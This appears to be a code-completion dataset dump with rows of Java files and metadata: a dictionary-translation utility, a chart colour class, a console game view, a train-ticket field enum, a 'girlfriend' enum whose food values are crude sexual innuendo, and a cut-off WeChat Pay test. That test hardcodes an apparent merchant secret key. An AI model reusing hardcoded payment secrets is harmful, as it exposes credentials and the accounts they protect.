colTypeKV = new ConcurrentHashMap<>();
for (Map<String, Object> map : _dicInfo){
colTypeKV.put((String) map.get(VALUE_NAME), map.get(KEY_NAME));
}
DIC_INFO_OVERTURN.put(colType,colTypeKV);
}
}
/**
* @Description 翻译业务数据中的字典字段数据
* @param result 拦截器拦截的结果
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @param scope 作用域
* @return void
*/
public static void convertDicInfo(List<Object> result,boolean ifOverturn,String scope) {
if(DIC_INFO.isEmpty()){
log.warn("字典翻译工具类#当前字典信息为空!无法翻译!");
return;
}
if(!SCOPE_FIELDNAME_FTYPE_MAP.containsKey(scope)){
log.warn("scope 不存在!");
return;
}
for (Object res : result) {
if(res==null) continue;
if (res instanceof Map) { //map类型数据
DircConvertUtils.convertDicColumnInfo4Map((Map) res,ifOverturn,scope);
} else if (isBaseType(res.getClass().getTypeName()) == null) { //非基本类型
DircConvertUtils.convertDicColumnInfo(res,ifOverturn,scope);
} else {
log.warn("当前结果集类型为基本类型 不翻译!");
continue;//
}
}
}
/**
* @Description 翻译业务数据中的字典字段数据
* @param result 拦截器拦截的结果集
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @return void
*/
public static void convertDicInfo(List<Object> result,boolean ifOverturn) {
if(DIC_INFO.isEmpty()){
log.warn("字典翻译工具类#当前字典信息为空!无法翻译!");
return;
}
for (Object res : result) {
if(res==null) continue;
if (res instanceof Map) { //map类型数据
DircConvertUtils.convertDicColumnInfo4Map((Map) res,ifOverturn);
} else if (isBaseType(res.getClass().getTypeName()) == null) { //非基本类型
DircConvertUtils.convertDicColumnInfo(res,ifOverturn);
} else {
log.warn("当前结果集类型为基本类型 不翻译!");
continue;
}
}
}
/**
* @Description 递归翻译
* @param _value 当前数据中的子集
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @return boolean
*/
private static boolean recursion(Object _value,boolean ifOverturn) {
if (_value == null) return true;
if (_value instanceof Map) {
convertDicColumnInfo4Map((Map) _value,ifOverturn);
return true;
} else if (_value instanceof List) {
convertDicInfo((List) _value,ifOverturn);
return true;
}
return false;
}
/**
* @Description 递归翻译
* @param _value 当前数据中的子集
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @param scope 域
* @return boolean
*/
private static boolean recursion(Object _value,boolean ifOverturn,String scope) {
if (_value == null) return true;
if (_value instanceof Map) {
convertDicColumnInfo4Map((Map) _value,ifOverturn,scope);
return true;
} else if (_value instanceof List) {
convertDicInfo((List) _value,ifOverturn,scope);
return true;
}
return false;
}
/**
* @Description 翻译标签数据
* @param labelTreeCode
* @param result
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @return void
*/
public static void convertLabelMap(String labelTreeCode , Map<String, Object> result,boolean ifOverturn) {
for (String key : result.keySet()) {
if(recursion(result.get(key),ifOverturn)) continue;
Map<String,String > labelFieldDircCodeMap = LABELROWID_FIELDNAME_FTYPE_MAP.get(labelTreeCode);//像根据标签id拿到map
String colType = labelFieldDircCodeMap.get(key);//再根据结果集中的key 找到类型
Map<String, Object> colTypeKV = null; //有了类型,找到字典类型
if(colType!=null){//如果当前查询结果集中有需要翻译的类型就去翻译。
colType = colType.replace("\r\n", "");
if(!ifOverturn) colTypeKV = DIC_INFO.get(colType);//如果ifOverTurn为false,则不使用反转
if(ifOverturn) colTypeKV = DIC_INFO_OVERTURN.get(colType);
if (colTypeKV != null) {//拿到类型字典的kv
String biz_value = result.get(key).toString(); //拿到结果集的value
result.put(key, colTypeKV.get(biz_value)); //设置新的value
}
}else{
log.warn("字典翻译工具类#当前标签Map中的[{}]不能被翻译",key);
continue;
}
}
}
/**
* @Description 翻译map类数据
* @param result
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @param scope 作用域
* @return void
*/
private static void convertDicColumnInfo4Map(Map<String, Object> result,boolean ifOverturn,String scope) {
log.info("字典翻译工具类#当前结果集类型为Map");
result.keySet().forEach(key -> {//查询结果集
if(recursion(result.get(key),ifOverturn,scope)) return;
//根据返回结果集去定位类型
Map<String, String> FIELDNAME_FTYPE_MAP_TEMP = SCOPE_FIELDNAME_FTYPE_MAP.get(scope);
String colType = FIELDNAME_FTYPE_MAP_TEMP.get(key);
commonMethod4Map(result, ifOverturn, key, colType);
});
}
/**
* @Description 翻译map类数据
* @param result
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @return void
*/
private static void convertDicColumnInfo4Map(Map<String, Object> result,boolean ifOverturn) {
log.info("字典翻译工具类#当前结果集类型为Map");
result.keySet().forEach(key -> {//查询结果集
if(recursion(result.get(key),ifOverturn)) return;
//根据返回结果集去定位类型
String colType = FIELDNAME_FTYPE_MAP.get(key);
commonMethod4Map(result, ifOverturn, key, colType);
});
}
/**
* @Description 翻译实体类数据
* @param result
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @param scope 作用域
* @return void
*/
private static void convertDicColumnInfo(Object result,boolean ifOverturn,String scope) {
List<Field> allFields = Arrays.asList(result.getClass().getDeclaredFields());
if(allFields.size()==0){
return;
}
allFields.forEach(field -> {
try {
//指定类名和字段名就能找到该字段的get方法
Method getMethod = getMethod(result.getClass(), field.getName());
//根据方法返回值判断是否需要递归进行翻译
Object value = null;
try{
value = getMethod.invoke(result);
if(recursion(value,ifOverturn,scope)) return;
}catch (RuntimeException e){
return;//翻译下一个
}
//根据当前的实体属性名去map里面去查找
String colType =FIELDNAME_FTYPE_MAP.get(field.getName()) ;//迭代实体类的所有字段判断是否有可翻译的类型
Map<String, Object> colTypeKV = null;//如果这个字段的类型存在就翻译
if(!ifOverturn) colTypeKV = DIC_INFO.get(colType);//如果ifOverTurn为false,则不使用反转
if(ifOverturn) colTypeKV = DIC_INFO_OVERTURN.get(colType);
//log.info("字典翻译工具类#当前翻译字段名为" + field.getName() + "字段名对应的类型名为" + colType + "类型对应的字典为:" + colTypeKV);
if (colTypeKV != null) {
//获取实体类的set方法
Method setMethod = setMethod(result.getClass(), field.getName(), String.class);
//执行调用
setMethod.invoke(result, colTypeKV.get(value));
}
} catch (Exception e) {
e.printStackTrace();
}
});
}
/**
* @Description 翻译实体类数据
* @param result
* @param ifOverturn 是否使用反转字典? true:中文翻译成编码 false:编码转成中文
* @return void
*/
private static void convertDicColumnInfo(Object result,boolean ifOverturn) {
log.info("字典翻译工具类#翻译实体类数据:[{}]",result);
List<Field> allFields = Arrays.asList(result.getClass().getDeclaredFields());
if(allFields.size()==0){
return;
}
allFields.forEach(field -> {
try {
//指定类名和字段名就能找到该字段的get方法
Method getMethod = getMethod(result.getClass(), field.getName());
//根据方法返回值判断是否需要递归进行翻译
Object value = null;
try{
value = getMethod.invoke(result);
if(recursion(value,ifOverturn)) return;
}catch (RuntimeException e){
log.warn("[{}]没有这个方法",field.getName());
return;//翻译下一个
}
//根据 <SUF>
String colType =FIELDNAME_FTYPE_MAP.get(field.getName()) ;//迭代实体类的所有字段判断是否有可翻译的类型
Map<String, Object> colTypeKV = null;//如果这个字段的类型存在就翻译
if(!ifOverturn) colTypeKV = DIC_INFO.get(colType);//如果ifOverTurn为false,则不使用反转
if(ifOverturn) colTypeKV = DIC_INFO_OVERTURN.get(colType);
//log.info("字典翻译工具类#当前翻译字段名为" + field.getName() + "字段名对应的类型名为" + colType + "类型对应的字典为:" + colTypeKV);
if (colTypeKV != null) {
//获取实体类的set方法
Method setMethod = setMethod(result.getClass(), field.getName(), String.class);
//执行调用
setMethod.invoke(result, colTypeKV.get(value));
}
} catch (Exception ignored) {}
});
}
//==================================================================================
//==============================================通用方法============================
//==================================================================================
/**
* @Description 使用反射获取某个class的所有字段
* @param className
* @return java.util.List<java.lang.reflect.Field>
*/
private static List<Field> getAllFields(Class<?> className) {
return Arrays.asList(className.getFields());
}
/**
* @Description 使用反射获取某个class的get方法
* @param className
* @param fieldName
* @return java.lang.reflect.Method
*/
private static Method getMethod(Class<?> className,String fieldName) {
try {
//获取get方法前,先进行字符串拼接
StringBuilder methodName = new StringBuilder("get");
methodName.append(captureName(fieldName));
Method method = className.getMethod(methodName.toString());
return method;
} catch (NoSuchMethodException e) {
log.warn("无此方法");
return null;
}
}
/**
* @Description 首字母转大写
* @param name
* @return java.lang.String
*/
private static String captureName(String name) {
char[] cs=name.toCharArray();
if(cs[0]>=65&&cs[0]<=90){
//如果本来就是大写字母即刻返回
return String.valueOf(cs);
}
//首字符默认是字母
cs[0]-=32;
return String.valueOf(cs);
}
/**
* @Description 使用反射获取某个class的set方法
* @param className
* @param fieldName
* @param paraType
* @return java.lang.reflect.Method
*/
private static Method setMethod(Class<?> className,String fieldName,Class paraType) {
try {
//首字母大写后进行字符串拼接 setPopuType(String popuType)
StringBuilder getMethodName = new StringBuilder("set");
getMethodName.append(captureName(fieldName));
Method setMethod = className.getMethod(getMethodName.toString(), paraType);
return setMethod;
} catch (NoSuchMethodException e) {
e.printStackTrace();
return null;
}
}
/**
* @Description 判断字段类型是否为基本数据类型
* @param typeName
* @return java.lang.Class<?>
*/
private static Class<?> isBaseType(String typeName) {
final Object[][] baseTypes = {{"byte", byte.class}, {"short", short.class}, {"char", char.class}, {"int", int.class}, {"java.lang.Long", long.class},{"Long", Long.class}, {"float", float.class}, {"double", double.class}, {"boolean", boolean.class}};
for (int i = 0; i < baseTypes.length; i = i + 1) {
Object[] type = baseTypes[i];
if (type[0].equals(typeName)) {
return (Class<?>)type[1];
}
}
return null; //当前类型不是基本类型返回null
}
private static void commonMethod4Map(Map<String, Object> result, boolean ifOverturn, String key, String colType) {
Map<String, Object> colTypeKV = null;
if (colType != null) {//如果当前查询结果集中有需要翻译的类型就去翻译。
if (!ifOverturn) colTypeKV = DIC_INFO.get(colType);//如果ifOverTurn为false,则不使用反转
if (ifOverturn) colTypeKV = DIC_INFO_OVERTURN.get(colType);
if (colTypeKV != null) {
Object biz_value = result.get(key);
result.put(key, colTypeKV.get(biz_value));
}
} else {
log.info("字典翻译工具类#当前map中的 [{}]不能被翻译",key);
return;
}
}
/**
* @Description 根据字典类型查询字典详情
* @param type 字典类型
* @return java.util.List<java.util.Map < java.lang.String, java.lang.Object>>
*/
private static List<Map<String, Object>> selectDicInfoByType(String type) {
List<Map<String, Object>> mapList = new ArrayList<>();
tbDircList.stream().filter(tbDirc -> tbDirc.getFType().equals(type))
.forEach(tbDirc -> {
HashMap<String, Object> hashMapTemp = new HashMap<>();
hashMapTemp.put(KEY_NAME,tbDirc.getFKey());
hashMapTemp.put(VALUE_NAME, tbDirc.getFValue());
mapList.add(hashMapTemp);
});
return mapList;
}
}
| 0 |
64808_4 | package pers.han.scheduler.io;
/**
* 图表中各类型任务的颜色
* FileName: ChartColor.java
*
* @author hanYG
* @createDate 2021.10.15
* @alterDate 2021.10.19
* @version 1.0
*
*/
public final class ChartColor {
/** 偶发性任务的表示颜色 */
private static final String[] sporadicTaskColorStrArray = {
"#FF0000", // 红色
"#00FF00", // 绿色
"#0000FF", // 蓝色
"#FF00FF", // 紫色
"#FFFF00", // 黄色
"#00FFFF", //
// "#FFFFFF" // 白色
"#000000" // 黑色
};
/** 非周期性任务的表示颜色 */
private static final String[] aperiodicTaskColorStrArray = {
"#FF0000", // 红色
"#00FF00", // 绿色
"#0000FF", // 蓝色
"#FF00FF", // 紫色
"#FFFF00", // 黄色
"#00FFFF", //
// "#FFFFFF" // 白色
"#000000" // 黑色
};
/** 周期性任务的表示颜色 */
private static final String[] periodicTaskColorStrArray = {
"#FF0000", // 红色
"#00FF00", // 绿色
"#0000FF", // 蓝色
"#FF00FF", // 紫色
"#FFFF00", // 黄色
"#00FFFF", //
// "#FFFFFF" // 白色
"#000000" // 黑色
};
/** windows 默认颜色 r=51 g=51 b=51 */
public static final String defaultColorStr = "#515151";
/** 红色 */
public static final String redStr = "#FF0000";
/** 绿色 */
public static final String greenStr = "#00FF00";
/** 蓝色 */
public static final String blueStr = "#0000FF";
/** 指向偶发性任务颜色的标记 */
private int sporadicTaskColorStrArrayIndex = 0;
/** 指向非周期性任务颜色的标记 */
private int aperiodicTaskColorStrArrayIndex = 0;
/** 指向周期性任务颜色的标记 */
private int periodicTaskColorStrArrayIndex = 0;
/**
* 获取偶发任务的下一个表示颜色
* @return String
*/
public String getSporadicTaskColorStr() {
if (this.sporadicTaskColorStrArrayIndex >= ChartColor.sporadicTaskColorStrArray.length) {
this.sporadicTaskColorStrArrayIndex = 0;
}
return ChartColor.sporadicTaskColorStrArray[this.sporadicTaskColorStrArrayIndex++];
}
/**
* 获取非周期性任务的下一个表示颜色
* @return String
*/
public String getAperiodicTaskColorStr() {
if (this.aperiodicTaskColorStrArrayIndex >= ChartColor.aperiodicTaskColorStrArray.length) {
this.aperiodicTaskColorStrArrayIndex = 0;
}
return ChartColor.aperiodicTaskColorStrArray[this.aperiodicTaskColorStrArrayIndex++];
}
/**
* 获取周期性任务的下一个表示颜色
* @return String
*/
public String getPeriodicTaskColorStr() {
if (this.periodicTaskColorStrArrayIndex >= ChartColor.periodicTaskColorStrArray.length) {
this.periodicTaskColorStrArrayIndex = 0;
}
return ChartColor.periodicTaskColorStrArray[this.periodicTaskColorStrArrayIndex++];
}
/**
* 获取偶发性任务表示的颜色
* @param index 索引
* @return String
*/
public static String getSporadicTaskColorStr(int index) {
return ChartColor.sporadicTaskColorStrArray[index % ChartColor.sporadicTaskColorStrArray.length];
}
/**
* 获取非周期任务表示的颜色
* @param index 索引
* @return String
*/
public static String getAperiodicTaskColorStr(int index) {
return ChartColor.aperiodicTaskColorStrArray[index % ChartColor.aperiodicTaskColorStrArray.length];
}
/**
* 获取周期性任务表示的颜色
* @param index 索引
* @return String
*/
public static String getPeriodicTaskColorStr(int index) {
return ChartColor.periodicTaskColorStrArray[index % ChartColor.periodicTaskColorStrArray.length];
}
/**
* 构造函数
*/
public ChartColor() { }
}
| 1501106169/scheduler | src/pers/han/scheduler/io/ChartColor.java | 1,240 | // "#FFFFFF" // 白色 | line_comment | zh-cn | package pers.han.scheduler.io;
/**
* 图表中各类型任务的颜色
* FileName: ChartColor.java
*
* @author hanYG
* @createDate 2021.10.15
* @alterDate 2021.10.19
* @version 1.0
*
*/
public final class ChartColor {
/** 偶发性任务的表示颜色 */
private static final String[] sporadicTaskColorStrArray = {
"#FF0000", // 红色
"#00FF00", // 绿色
"#0000FF", // 蓝色
"#FF00FF", // 紫色
"#FFFF00", // 黄色
"#00FFFF", //
// "#FFFFFF" // 白色
"#000000" // 黑色
};
/** 非周期性任务的表示颜色 */
private static final String[] aperiodicTaskColorStrArray = {
"#FF0000", // 红色
"#00FF00", // 绿色
"#0000FF", // 蓝色
"#FF00FF", // 紫色
"#FFFF00", // 黄色
"#00FFFF", //
// "# <SUF>
"#000000" // 黑色
};
/** 周期性任务的表示颜色 */
private static final String[] periodicTaskColorStrArray = {
"#FF0000", // 红色
"#00FF00", // 绿色
"#0000FF", // 蓝色
"#FF00FF", // 紫色
"#FFFF00", // 黄色
"#00FFFF", //
// "#FFFFFF" // 白色
"#000000" // 黑色
};
/** windows 默认颜色 r=51 g=51 b=51 */
public static final String defaultColorStr = "#515151";
/** 红色 */
public static final String redStr = "#FF0000";
/** 绿色 */
public static final String greenStr = "#00FF00";
/** 蓝色 */
public static final String blueStr = "#0000FF";
/** 指向偶发性任务颜色的标记 */
private int sporadicTaskColorStrArrayIndex = 0;
/** 指向非周期性任务颜色的标记 */
private int aperiodicTaskColorStrArrayIndex = 0;
/** 指向周期性任务颜色的标记 */
private int periodicTaskColorStrArrayIndex = 0;
/**
* 获取偶发任务的下一个表示颜色
* @return String
*/
public String getSporadicTaskColorStr() {
if (this.sporadicTaskColorStrArrayIndex >= ChartColor.sporadicTaskColorStrArray.length) {
this.sporadicTaskColorStrArrayIndex = 0;
}
return ChartColor.sporadicTaskColorStrArray[this.sporadicTaskColorStrArrayIndex++];
}
/**
* 获取非周期性任务的下一个表示颜色
* @return String
*/
public String getAperiodicTaskColorStr() {
if (this.aperiodicTaskColorStrArrayIndex >= ChartColor.aperiodicTaskColorStrArray.length) {
this.aperiodicTaskColorStrArrayIndex = 0;
}
return ChartColor.aperiodicTaskColorStrArray[this.aperiodicTaskColorStrArrayIndex++];
}
/**
* 获取周期性任务的下一个表示颜色
* @return String
*/
public String getPeriodicTaskColorStr() {
if (this.periodicTaskColorStrArrayIndex >= ChartColor.periodicTaskColorStrArray.length) {
this.periodicTaskColorStrArrayIndex = 0;
}
return ChartColor.periodicTaskColorStrArray[this.periodicTaskColorStrArrayIndex++];
}
/**
* 获取偶发性任务表示的颜色
* @param index 索引
* @return String
*/
public static String getSporadicTaskColorStr(int index) {
return ChartColor.sporadicTaskColorStrArray[index % ChartColor.sporadicTaskColorStrArray.length];
}
/**
* 获取非周期任务表示的颜色
* @param index 索引
* @return String
*/
public static String getAperiodicTaskColorStr(int index) {
return ChartColor.aperiodicTaskColorStrArray[index % ChartColor.aperiodicTaskColorStrArray.length];
}
/**
* 获取周期性任务表示的颜色
* @param index 索引
* @return String
*/
public static String getPeriodicTaskColorStr(int index) {
return ChartColor.periodicTaskColorStrArray[index % ChartColor.periodicTaskColorStrArray.length];
}
/**
* 构造函数
*/
public ChartColor() { }
}
| 1 |
56475_4 | package xu.view;
import java.util.Scanner;
import xu.model.Creature;
import xu.model.Player;
import xu.model.World;
import xu.tool.Example;
/**
* 视图类,未完成
* @author 徐川江
*
*/
public class View {
/**
* 主界面,未使用
*/
public static void window(){
Scanner sc = new Scanner(System.in);
for(;;)
{
System.out.println("欢迎来到生存斗争,请输入1-4");
System.out.println("1 开始新游戏");
System.out.println("2 加载存档");
System.out.println("3 设置");
System.out.println("4 退出");
int sz = sc.nextInt();
if(sz==1)
{
show(Example.getWorld(5,5,5));
continue;
}
if(sz==2)
continue;
if(sz==3)
continue;
if(sz==4)
break;
System.out.println("您的输入有误");
}
}
/**
* 地图绘制,每回合绘制一次
* @param world
*/
public static void show(World world){
int x = world.getPlayer().getX();
int y = world.getPlayer().getY();
int v = world.getPlayer().getVision();
for(int i=1;i<2*(v+1);i++)//第一行
{
if((i+x-v-1)<10)
{
if((i+4)%5==0)
{
if(i+x-v-1>=0)
{
System.out.print(i+x-v-1);
System.out.print(" ");
}
else
System.out.print(i+x-v-1);
}
else
System.out.print(" ");
}
else
{
if((i+4)%5==0)
System.out.print(i+x-v-1);
else
System.out.print(" ");
}
}
System.out.println(" ");
for(int i=1;i<2*v;i++)//中间
{
if((-i+y+v)<10)//第一个
{
if((i+5)%5==0)
{
if(-i+y+v>=0)
{
System.out.print(-i+y+v);
System.out.print(" ");
}
else
System.out.print(-i+y+v);
}
else
System.out.print(" ");
}
else
{
if((i+5)%5==0)
System.out.print(-i+y+v);
else
System.out.print(" ");
}
for(int j=1;j<2*v;j++)//生物
{
Creature[][] c = world.getCreatureMap();
if((j+x-v)<0||(-i+y+v)<0||(j + x - v)>world.getMax_x()||(-i + y + v)>world.getMax_y())
{
System.out.print("# ");
continue;
}
if( c[j+x-v][-i+y+v] == null )
System.out.print(". ");
else
if( (Creature)c[j+x-v][-i+y+v] == world.getPlayer() )
System.out.print("@ ");
else
System.out.print("Z ");
}
if((-i+y+v)<10)//尾巴
{
if((i+5)%5==0)
{
System.out.print(-i+y+v);
System.out.print(" ");
}
else
System.out.print(" ");
}
else
{
if((i+5)%5==0)
System.out.print(-i+y+v);
else
System.out.print(" ");
}
System.out.println("");
}
for(int i=1;i<2*(v+1);i++)
{
if((i+x-v-1)<10)
{
if((i+4)%5==0)
{
if(i+x-v-1>=0)
{
System.out.print(i+x-v-1);
System.out.print(" ");
}
else
System.out.print(i+x-v-1);
}
else
System.out.print(" ");
}
else
{
if((i+4)%5==0)
System.out.print(i+x-v-1);
else
System.out.print(" ");
}
}
System.out.println(" ");
}
public void newGame(){
}
}
| 1512917705/SurvivalTactic | src/xu/view/View.java | 1,283 | //中间
| line_comment | zh-cn | package xu.view;
import java.util.Scanner;
import xu.model.Creature;
import xu.model.Player;
import xu.model.World;
import xu.tool.Example;
/**
* 视图类,未完成
* @author 徐川江
*
*/
public class View {
/**
* 主界面,未使用
*/
public static void window(){
Scanner sc = new Scanner(System.in);
for(;;)
{
System.out.println("欢迎来到生存斗争,请输入1-4");
System.out.println("1 开始新游戏");
System.out.println("2 加载存档");
System.out.println("3 设置");
System.out.println("4 退出");
int sz = sc.nextInt();
if(sz==1)
{
show(Example.getWorld(5,5,5));
continue;
}
if(sz==2)
continue;
if(sz==3)
continue;
if(sz==4)
break;
System.out.println("您的输入有误");
}
}
/**
* 地图绘制,每回合绘制一次
* @param world
*/
public static void show(World world){
int x = world.getPlayer().getX();
int y = world.getPlayer().getY();
int v = world.getPlayer().getVision();
for(int i=1;i<2*(v+1);i++)//第一行
{
if((i+x-v-1)<10)
{
if((i+4)%5==0)
{
if(i+x-v-1>=0)
{
System.out.print(i+x-v-1);
System.out.print(" ");
}
else
System.out.print(i+x-v-1);
}
else
System.out.print(" ");
}
else
{
if((i+4)%5==0)
System.out.print(i+x-v-1);
else
System.out.print(" ");
}
}
System.out.println(" ");
for(int i=1;i<2*v;i++)//中间 <SUF>
{
if((-i+y+v)<10)//第一个
{
if((i+5)%5==0)
{
if(-i+y+v>=0)
{
System.out.print(-i+y+v);
System.out.print(" ");
}
else
System.out.print(-i+y+v);
}
else
System.out.print(" ");
}
else
{
if((i+5)%5==0)
System.out.print(-i+y+v);
else
System.out.print(" ");
}
for(int j=1;j<2*v;j++)//生物
{
Creature[][] c = world.getCreatureMap();
if((j+x-v)<0||(-i+y+v)<0||(j + x - v)>world.getMax_x()||(-i + y + v)>world.getMax_y())
{
System.out.print("# ");
continue;
}
if( c[j+x-v][-i+y+v] == null )
System.out.print(". ");
else
if( (Creature)c[j+x-v][-i+y+v] == world.getPlayer() )
System.out.print("@ ");
else
System.out.print("Z ");
}
if((-i+y+v)<10)//尾巴
{
if((i+5)%5==0)
{
System.out.print(-i+y+v);
System.out.print(" ");
}
else
System.out.print(" ");
}
else
{
if((i+5)%5==0)
System.out.print(-i+y+v);
else
System.out.print(" ");
}
System.out.println("");
}
for(int i=1;i<2*(v+1);i++)
{
if((i+x-v-1)<10)
{
if((i+4)%5==0)
{
if(i+x-v-1>=0)
{
System.out.print(i+x-v-1);
System.out.print(" ");
}
else
System.out.print(i+x-v-1);
}
else
System.out.print(" ");
}
else
{
if((i+4)%5==0)
System.out.print(i+x-v-1);
else
System.out.print(" ");
}
}
System.out.println(" ");
}
public void newGame(){
}
}
| 1 |
19581_0 | package com.yy.other.constant;
/**
* 余票查询时每个字段等含义
*
*/
public enum TicketField {
SECRET_STR(0, "车票密钥,下单时用"),
REMARK(1, "备注(预定/列车停运/几点起售)"),
TRAIN_NO(2, "列车号(240000G41501),查票价时用"),
TRAIN_CODE(3, "车次(G415)"),
START_STATION_CODE(4, "起始站代码"),
END_STATION_CODE(5, "终点站代码"),
FROM_STATION_CODE(6, "出发站代码"),
TO_STATION_CODE(7, "到达站代码"),
FROM_TIME(8, "出发时间"),
TO_TIME(9, "到达时间"),
DURATION(10, "历经多久"),
CAN_BUY(11, "是否可以购买(Y/N)"),
START_DATE(13, "列车起始站发车日期(20200123)"),
TRAIN_LOCATION(15, "train_location"),
FROM_STATION_NO(16, "出发站站序 01表示始发站,大于1表示过站"),
TO_STATION_NO(17, "到达站序,对应火车经停的站序"),
IS_SUPPORT_CARD(18, "可否使用二代身份证进出站 1可以,0不可以"),
HIGH_SOFT_SLEEP_COUNT(21, "高级软卧等数量"),
OTHER(22, "其它"),
SOFT_SLEEP_COUNT(23, "软卧/一等卧数量"),
SOFT_SEAT_COUNT(24, "软座数量"),
SPECIAL_SEAT_COUNT(25, "特等座数量"),
NONE_SEAT_COUNT(26, "无座数量"),
YB_COUNT(27, "无座数量"),
HARD_SLEEP_COUNT(28, "硬卧/二等卧数量"),
HARD_SEAT_COUNT(29, "硬座数量"),
SECOND_SEAT_COUNT(30, "二等座数量"),
FIRST_SEAT_COUNT(31, "一等座数量"),
BUSINESS_SEAT_COUNT(32, "商务座/特等座数量"),
MOTOR_SLEEP_COUNT(33, "动卧数量"),
SEAT_TYPES(35, "查询车票价格时的字段"),
CAN_BACKUP(37, "是否支持候补,0不支持,1支持");
private int i;
private String desc;
TicketField(int i, String desc) {
this.i = i;
this.desc = desc;
}
public int getI() {
return i;
}
public void setI(int i) {
this.i = i;
}
public String getDesc() {
return desc;
}
public void setDesc(String desc) {
this.desc = desc;
}
}
| 15207135348/Java12306 | src/main/java/com/yy/other/constant/TicketField.java | 744 | /**
* 余票查询时每个字段等含义
*
*/ | block_comment | zh-cn | package com.yy.other.constant;
/**
* 余票查 <SUF>*/
public enum TicketField {
SECRET_STR(0, "车票密钥,下单时用"),
REMARK(1, "备注(预定/列车停运/几点起售)"),
TRAIN_NO(2, "列车号(240000G41501),查票价时用"),
TRAIN_CODE(3, "车次(G415)"),
START_STATION_CODE(4, "起始站代码"),
END_STATION_CODE(5, "终点站代码"),
FROM_STATION_CODE(6, "出发站代码"),
TO_STATION_CODE(7, "到达站代码"),
FROM_TIME(8, "出发时间"),
TO_TIME(9, "到达时间"),
DURATION(10, "历经多久"),
CAN_BUY(11, "是否可以购买(Y/N)"),
START_DATE(13, "列车起始站发车日期(20200123)"),
TRAIN_LOCATION(15, "train_location"),
FROM_STATION_NO(16, "出发站站序 01表示始发站,大于1表示过站"),
TO_STATION_NO(17, "到达站序,对应火车经停的站序"),
IS_SUPPORT_CARD(18, "可否使用二代身份证进出站 1可以,0不可以"),
HIGH_SOFT_SLEEP_COUNT(21, "高级软卧等数量"),
OTHER(22, "其它"),
SOFT_SLEEP_COUNT(23, "软卧/一等卧数量"),
SOFT_SEAT_COUNT(24, "软座数量"),
SPECIAL_SEAT_COUNT(25, "特等座数量"),
NONE_SEAT_COUNT(26, "无座数量"),
YB_COUNT(27, "无座数量"),
HARD_SLEEP_COUNT(28, "硬卧/二等卧数量"),
HARD_SEAT_COUNT(29, "硬座数量"),
SECOND_SEAT_COUNT(30, "二等座数量"),
FIRST_SEAT_COUNT(31, "一等座数量"),
BUSINESS_SEAT_COUNT(32, "商务座/特等座数量"),
MOTOR_SLEEP_COUNT(33, "动卧数量"),
SEAT_TYPES(35, "查询车票价格时的字段"),
CAN_BACKUP(37, "是否支持候补,0不支持,1支持");
private int i;
private String desc;
TicketField(int i, String desc) {
this.i = i;
this.desc = desc;
}
public int getI() {
return i;
}
public void setI(int i) {
this.i = i;
}
public String getDesc() {
return desc;
}
public void setDesc(String desc) {
this.desc = desc;
}
}
| 0 |
27691_3 | package com.stars.datachange.model.code;
/**
* 女朋友字典枚举
* @author zhouhao
* @since 2021/7/27 10:35
*/
public enum GirlfriendCode implements BaseCode {
/**
* 类型
*/
TYPE_1("type", "1", "安静"),
TYPE_2("type", "2", "火辣"),
TYPE_3("type", "3", "清爽"),
/**
* 喜欢的食物
*/
FAVORITE_FOOD_1("favoriteFood", "1", "牛奶"),
FAVORITE_FOOD_2("favoriteFood", "2", "香蕉"),
FAVORITE_FOOD_3("favoriteFood", "3", "香肠"),
FAVORITE_FOOD_4("favoriteFood", "4", "黄瓜"),
FAVORITE_FOOD_5("favoriteFood", "5", "火锅"),
/**
* 旅游地
*/
TOURIST_PLACE_2("touristPlace", "2", "夏威夷"),
TOURIST_PLACE_4("touristPlace", "4", "摩洛哥"),
TOURIST_PLACE_8("touristPlace", "8", "马尔代夫"),
;
private final String t;
private final String k;
private final String v;
GirlfriendCode(String t, String k, String v) {
this.t = t;
this.k = k;
this.v = v;
}
@Override
public String t() {
return t;
}
@Override
public String k() {
return k;
}
@Override
public String v() {
return v;
}
}
| 15738383930/stars-datachange | src/main/java/com/stars/datachange/model/code/GirlfriendCode.java | 431 | /**
* 旅游地
*/ | block_comment | zh-cn | package com.stars.datachange.model.code;
/**
* 女朋友字典枚举
* @author zhouhao
* @since 2021/7/27 10:35
*/
public enum GirlfriendCode implements BaseCode {
/**
* 类型
*/
TYPE_1("type", "1", "安静"),
TYPE_2("type", "2", "火辣"),
TYPE_3("type", "3", "清爽"),
/**
* 喜欢的食物
*/
FAVORITE_FOOD_1("favoriteFood", "1", "牛奶"),
FAVORITE_FOOD_2("favoriteFood", "2", "香蕉"),
FAVORITE_FOOD_3("favoriteFood", "3", "香肠"),
FAVORITE_FOOD_4("favoriteFood", "4", "黄瓜"),
FAVORITE_FOOD_5("favoriteFood", "5", "火锅"),
/**
* 旅游地 <SUF>*/
TOURIST_PLACE_2("touristPlace", "2", "夏威夷"),
TOURIST_PLACE_4("touristPlace", "4", "摩洛哥"),
TOURIST_PLACE_8("touristPlace", "8", "马尔代夫"),
;
private final String t;
private final String k;
private final String v;
GirlfriendCode(String t, String k, String v) {
this.t = t;
this.k = k;
this.v = v;
}
@Override
public String t() {
return t;
}
@Override
public String k() {
return k;
}
@Override
public String v() {
return v;
}
}
| 1 |
50615_6 | package cc.mrbird.febs.wx;
import cc.mrbird.febs.wx.entity.ResultEntity;
import cc.mrbird.febs.wx.entity.TransfersDto;
import cc.mrbird.febs.wx.util.WechatpayUtil;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
/**
* QQ:2172931891 有任何关于微信开发的问题可以相互交流
*/
public class TestApp
{
private static final Log LOG = LogFactory.getLog(TestApp.class);
public static void main(String[] args)
{
String appkey = "137130421c9b43cb9763b39647a33bd9";// 微信商户秘钥, 根据实际情况填写
String certPath = "D:\\demo\\apiclient_cert.p12";// 微信商户证书路径, 根据实际情况填写
TransfersDto model = new TransfersDto();// 微信接口请求参数, 根据实际情况填写
model.setMch_appid("wx5cc601e2403cd25d"); // 申请商户号的appid或商户号绑定的appid
